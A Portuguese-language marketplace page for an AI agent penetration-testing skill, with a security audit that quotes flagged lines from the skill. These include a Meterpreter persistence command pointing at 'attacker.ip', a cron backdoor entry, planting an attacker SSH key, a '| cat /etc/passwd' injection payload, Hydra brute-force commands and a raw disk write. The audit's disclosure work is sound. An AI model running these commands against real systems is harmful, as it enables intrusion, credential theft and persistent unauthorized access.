Habilidades ethical-hacking-methodology
📦
ethical-hacking-methodology
Revisão do conteúdo r1 Crítico ⚙️ Comandos externos🌐 Acesso à rede📁 Acesso ao sistema de arquivos
Planejar Testes de Penetração Autorizados
Equipes de segurança precisam de um método repetível para avaliações autorizadas. Esta skill organiza reconhecimento, varredura, evidências de exploração e relatórios em um único fluxo de trabalho.
Suporta: Claude Codex Code(CC)
Não instale este Skill automaticamente.
A política canônica exige a revisão de um operador antes de qualquer ação de instalação.
Instalar com meu Agente
Copie esta solicitação para o seu Agente. Ela inclui a página canônica do Skill e o manifesto.
Solicitação do agente
Review the Skillstore skill "ethical-hacking-methodology" from https://skillstore.io/skills/sickn33-ethical-hacking-methodology.md and its manifest at https://skillstore.io/api/skills/sickn33-ethical-hacking-methodology/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Seu Agente ainda deve apresentar o plano e solicitar qualquer confirmação exigida pela política de segurança.
Recursos legíveis por agentes
Use estes links quando um agente de IA, crawler ou script precisar de contexto limpo em vez de ler a página completa.
Testar
Usando "ethical-hacking-methodology". Início de avaliação autorizada para uma pequena aplicação web.
Resultado esperado:
- Limites de escopo e pressupostos de aprovação.
- Fases de reconhecimento e varredura com objetivos de evidência.
- Entregáveis de relatório para executivos e responsáveis técnicos.
Usando "ethical-hacking-methodology". As notas da avaliação incluem software desatualizado, senhas fracas e ausência de logs.
Resultado esperado:
Um resumo conciso dos achados com severidade, impacto nos negócios, sistemas afetados e ações de remediação priorizadas.
Usando "ethical-hacking-methodology". Planejar uma validação controlada para uma possível falha de injeção.
Resultado esperado:
- Confirmar autorização e janela de teste.
- Usar apenas um laboratório ou alvo aprovado.
- Registrar evidências, impacto, etapas de rollback e orientações de remediação.
Auditoria de segurança
Críticov6 • 09/07/2026 Abrir o relatório versionado
The skill is an offensive penetration testing guide with explicit commands for scanning, exploitation, brute forcing, Metasploit payloads, persistence, privilege escalation, and disk writes. Several Markdown fence detections are false positives for Ruby execution, but the surrounding instructions contain operational techniques that remain high risk. No prompt injection attempt was found in the reviewed SKILL.md content.
1
Arquivos analisados
473
Linhas analisadas
29
Itens de revisão
0
Falsos positivos ignorados
Preocupações de segurança confirmadas (31)
Crítico
SSH directory access
# Add attacker's public key to ~/.ssh/authorized_keys
The line instructs adding an attacker public key to the SSH authorized_keys path. This creates persistent unauthorized access.
Crítico
SSH host/auth files
# Add attacker's public key to ~/.ssh/authorized_keys
The line targets SSH authorization files for attacker persistence. That is a high-impact credential and access control risk.
Crítico
Metasploit framework
**Metasploit Framework**
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Crítico
Metasploit framework
# Start Metasploit
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Crítico
Metasploit framework
msf> set PAYLOAD windows/meterpreter/reverse_tcp
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Crítico
Metasploit framework
# Meterpreter persistence
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Crítico
Metasploit framework
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Crítico
Metasploit framework
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Mostrar todos os 31 problemas confirmados
Crítico
Metasploit framework
| Maintaining Access | Persistence | Meterpreter, SSH keys |
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Crítico
Metasploit framework
| `msfconsole` | Start Metasploit |
The Metasploit references are embedded in exploitation and persistence workflows. They guide exploit setup, payload selection, or access maintenance.
Crítico
Malware type keywords
**Backdoors**
The backdoors heading introduces a section on establishing persistent access. The following lines include Meterpreter, SSH key, and cron persistence.
Crítico
Malware type keywords
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
The command installs a recurring cron job for /tmp/backdoor.sh. This is explicit malware-like persistence.
Crítico
System password file access
# | cat /etc/passwd
The line shows a command injection payload that reads /etc/passwd. Even as a comment, it gives a sensitive file access test payload.
Crítico
Disk destruction command
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
The dd command writes to /dev/sdb and can overwrite an entire disk. This is destructive if aimed at the wrong device.
Crítico
Persistence and Backdoor Guidance
The skill directs users to establish persistent access with backdoors, Meterpreter persistence, SSH authorized keys, and cron jobs.
The section explicitly says to establish persistent access and lists concrete backdoor persistence methods.
Alto
Malware type keywords
- Clean up test files and backdoors
The line discusses cleaning up backdoors after testing. In context it normalizes creation and removal of backdoors during an engagement.
Alto
Network scanning tools
nmap -sn 192.168.1.0/24
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap -sP 192.168.1.0/24
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap -sS target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap -sT target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap -sU target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap -p- target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap -sV target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap -A target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap --script=http-enum target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap --script=smb-enum-shares target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap --script=ftp-anon target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
nmap --script=vuln target.com
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Network scanning tools
| `nmap -sV target` | Port and service scan |
The line references Nmap or a scanning phase for enumerating targets. This is active network reconnaissance guidance.
Alto
Evasion and Exploit Adjustment Guidance
Troubleshooting advises proxies, VPNs, packet fragmentation, different scan techniques, and alternative exploits when blocked.
The guidance appears in blocked scan and failed exploit troubleshooting, so it can help bypass defenses or continue exploitation.
Itens de revisão de capacidade (29)
Estas são capacidades locais reais que podem ser esperadas para esta habilidade, portanto exigem revisão, mas não são contabilizadas como comportamento malicioso confirmado.
Crítico
Ruby/shell backtick execution
```bash
The Metasploit block walks through exploit search, module selection, payload setup, and execution. This is direct exploitation guidance.
Crítico
Ruby/shell backtick execution
```bash
The block gives SQLMap database enumeration and command injection test payloads, including reading a system password file. This is exploitation guidance.
Crítico
Ruby/shell backtick execution
```bash
The block teaches persistence through Meterpreter, SSH authorized keys, and a cron backdoor. This is post-exploitation access maintenance.
Crítico
Ruby/shell backtick execution
| `msfconsole` | Start Metasploit |
The table directs users to start Metasploit, a framework used for exploit execution. Nearby sections show exploitation workflows.
Crítico
Hidden file in home directory
# Add attacker's public key to ~/.ssh/authorized_keys
The line instructs adding an attacker key to ~/.ssh/authorized_keys. That creates stealthy persistent access.
Crítico
Hidden file access
# Add attacker's public key to ~/.ssh/authorized_keys
The line references modifying ~/.ssh/authorized_keys for attacker persistence. Hidden SSH file access is central to the technique.
Crítico
Non-standard device file access
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
The dd command writes an ISO directly to /dev/sdb. A wrong device selection can overwrite disks and destroy data.
Crítico
Temp directory access
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
The line writes a cron entry that runs /tmp/backdoor.sh every minute. This is explicit persistence through a backdoor.
Alto
Ruby/shell backtick execution
```bash
The block gives host discovery commands using Nmap and ARP scanning against a subnet. These are active enumeration steps.
Alto
Ruby/shell backtick execution
```bash
The block gives multiple Nmap port scanning modes, including stealth, UDP, full port, and aggressive scans. This is operational network reconnaissance.
Alto
Ruby/shell backtick execution
```bash
The block uses Nmap service and vulnerability scripts for HTTP, SMB, FTP, and general vulnerability discovery. This enables target enumeration.
Alto
Ruby/shell backtick execution
```bash
The block lists Nikto, OpenVAS, and Nessus scanning commands. These can probe authorized targets but are active security testing tools.
Alto
Ruby/shell backtick execution
```bash
The block lists directory brute forcing, subdomain enumeration, and fingerprinting commands. These can reveal hidden application paths and assets.
Alto
Ruby/shell backtick execution
```bash
The block provides Hydra brute-force commands and John password cracking usage. These are credential attack techniques.
Alto
Ruby/shell backtick execution
```bash
The block lists privilege escalation enumerators, SUID discovery, and sudo permission checks. This supports post-compromise escalation.
Alto
Ruby/shell backtick execution
```bash
The block writes to and partitions block devices for Kali persistence. These commands can destroy data if the device is wrong.
Alto
Ruby/shell backtick execution
| `nmap -sV target` | Port and service scan |
The table presents an Nmap service scan as an essential command. This is active port and service enumeration.
Alto
Ruby/shell backtick execution
| `nikto -h target` | Web vulnerability scan |
The table presents Nikto web scanning as an essential command. This is active vulnerability probing.
Alto
Ruby/shell backtick execution
| `hydra -l user -P list ssh://target` | SSH brute force |
The table gives a Hydra SSH brute-force command. This is a credential attack against a network service.
Alto
sudo privilege escalation
# Check sudo permissions
The comment introduces sudo permission checks inside a privilege escalation section. It supports post-compromise enumeration.
Alto
sudo privilege escalation
sudo -l
The sudo -l command enumerates elevated privileges on a host. In this context it supports privilege escalation.
Alto
FTP protocol
hydra -L users.txt -P passwords.txt ftp://target.com
The FTP URL appears in a Hydra brute-force command. This is credential attack guidance against a network service.
Alto
SSH protocol URL
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
The SSH URL appears in a Hydra brute-force command using a password wordlist. This is credential attack guidance.
Alto
SSH protocol URL
| `hydra -l user -P list ssh://target` | SSH brute force |
The SSH URL appears in an essential Hydra brute-force command. This supports credential attacks against SSH.
Alto
Non-standard device file access
gparted /dev/sdb
The gparted command opens a raw block device for partitioning. This can alter or destroy data on the selected disk.
Alto
Non-standard device file access
mount /dev/sdb2 /mnt/usb
The mount command accesses a raw block device path. It is setup-related, but still directs filesystem access outside normal files.
Médio
Ruby/shell backtick execution
```bash
The Markdown block presents WHOIS, DNS, subdomain discovery, and email harvesting commands. These external tools enable reconnaissance against real targets.
Médio
Ruby/shell backtick execution
```
The block lists queries for exposed files, login pages, directories, and env/config files. This can help identify sensitive assets for later attacks.
Baixo
Standard device file access
find / -perm -4000 2>/dev/null
The command redirects errors to /dev/null while enumerating SUID binaries. The device access is minor, but the privilege escalation context is real.
Fatores de risco
⚙️ Comandos externos (32)
SKILL.md:73-88 SKILL.md:88-91 SKILL.md:91-107 SKILL.md:107-128 SKILL.md:128-137 SKILL.md:137-140 SKILL.md:140-158 SKILL.md:158-161 SKILL.md:161-169 SKILL.md:169-190 SKILL.md:190-199 SKILL.md:199-214 SKILL.md:214-223 SKILL.md:223-230 SKILL.md:230-249 SKILL.md:249-252 SKILL.md:252-259 SKILL.md:259-262 SKILL.md:262-273 SKILL.md:273-280 SKILL.md:280-289 SKILL.md:289-292 SKILL.md:292-306 SKILL.md:306-387 SKILL.md:387-400 SKILL.md:400-434 SKILL.md:434-435 SKILL.md:435-436 SKILL.md:436-437 SKILL.md:437-438 SKILL.md:304 SKILL.md:305
🌐 Acesso à rede (10)
📁 Acesso ao sistema de arquivos (8)
Padrões detectados
SSH directory accessMetasploit framework×8Malware type keywords×3System password file accessDisk destruction commandNetwork scanning tools×14
Auditado por: codex Ver histórico de auditoria →
Compartilhar e citar este relatório
Compartilhe o relatório de avaliação versionado, o badge neutro, o cartão incorporável e as citações. A Skillstore apresenta evidências sem decidir se este Skill é seguro.
Copiar link do relatório
https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportBadge Markdown
[](https://skillstore.io/skills/sickn33-ethical-hacking-methodology?utm_source=security_passport_badge)Badge HTML
<a href="https://skillstore.io/skills/sickn33-ethical-hacking-methodology?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-ethical-hacking-methodology/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Cartão incorporável
<iframe src="https://skillstore.io/embed/skills/sickn33-ethical-hacking-methodology.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Citações acadêmicas (APA · BibTeX · CFF)
Citação APA
zebbern. (2026). ethical-hacking-methodology security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6Citação BibTeX
@techreport{zebbern-sickn33-ethical-hacking-methodology-2026,
author = {zebbern},
title = {ethical-hacking-methodology security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "ethical-hacking-methodology security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-ethical-hacking-methodology/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-ethical-hacking-methodology:audit:6"
description: "Skillstore immutable audit report identifier"
Pontuação do Skillstore
Por que esta pontuação Confiança das evidências: Médio 55
Arquitetura
85
Manutenibilidade
87
Conteúdo
69
Comunidade
83
Conformidade com a especificação
O que você pode criar
Preparar uma Avaliação Autorizada
Crie um plano por fases, uma checklist de escopo e uma lista de entregáveis para um teste de segurança permitido.
Ensinar Conceitos de Teste de Penetração
Explique fases comuns, ferramentas, riscos e expectativas de relatório em uma sala de aula ou laboratório controlado.
Estruturar um Relatório de Achados
Converta notas de avaliação em achados executivos, detalhes técnicos, classificações de risco e prioridades de remediação.
Teste estes prompts
Mapear um Engajamento Autorizado
Tenho autorização por escrito para [scope]. Ajude-me a delinear as fases permitidas, as evidências a coletar e os entregáveis finais.
Criar uma Checklist de Reconhecimento
Crie uma checklist de reconhecimento passivo e ativo para [authorized target]. Inclua limites, categorias de ferramentas e notas de evidência.
Priorizar Achados para um Relatório
Revise estas observações de teste autorizado: [notes]. Agrupe achados prováveis por severidade, impacto e prioridade de remediação.
Projetar um Plano de Validação Controlado
Para um laboratório sancionado ou teste de cliente, proponha um plano de validação para [vulnerability class]. Inclua controles, etapas de rollback e evidências para o relatório.
Boas práticas
- Confirme a autorização por escrito e o escopo antes de usar qualquer técnica.
- Mantenha logs, carimbos de data/hora e evidências organizados para o relatório.
- Use laboratórios controlados ou janelas aprovadas pelo cliente para testes ativos.
Evitar
- Executar varreduras, exploração ou ataques de senha contra sistemas fora do escopo.
- Usar persistência, backdoors ou etapas de limpeza sem aprovação explícita.
- Tratar comandos de exemplo como seguros para ambientes de produção.
Perguntas frequentes
Esta skill é segura para uso geral?
Ela contém metodologia ofensiva e deve ser usada apenas para testes autorizados ou laboratórios controlados.
A skill executa ferramentas automaticamente?
Não. Ela é documentação, mas um agente pode sugerir comandos se o usuário os solicitar.
Iniciantes podem usar esta skill?
Iniciantes podem estudar as fases, mas precisam de conhecimento jurídico, de redes e de segurança antes de realizar testes.
Quais entregáveis ela suporta?
Ela oferece suporte a notas de reconhecimento, resumos de vulnerabilidades, evidências de exploração e relatórios finais de avaliação.
Quais ferramentas ela menciona?
Ela menciona Kali Linux, Nmap, Nikto, Gobuster, Metasploit, Hydra, SQLMap e fluxos de trabalho de relatórios.
Por que esta skill pode precisar de restrições no marketplace?
Ela inclui exploração, força bruta, persistência, escalonamento de privilégios e comandos de dispositivos de disco.
Detalhes do desenvolvedor
Autor
zebbernLicença
MIT
Revisão da Skillstore
r1
Aviso de versão
O autor não declarou uma versão.
Repositório
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/ethical-hacking-methodologyReferência
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Atualidade da manutenção
20/07/2026
Uso
10 downloads · 149 visualizações
Estrutura de arquivos
📄 SKILL.md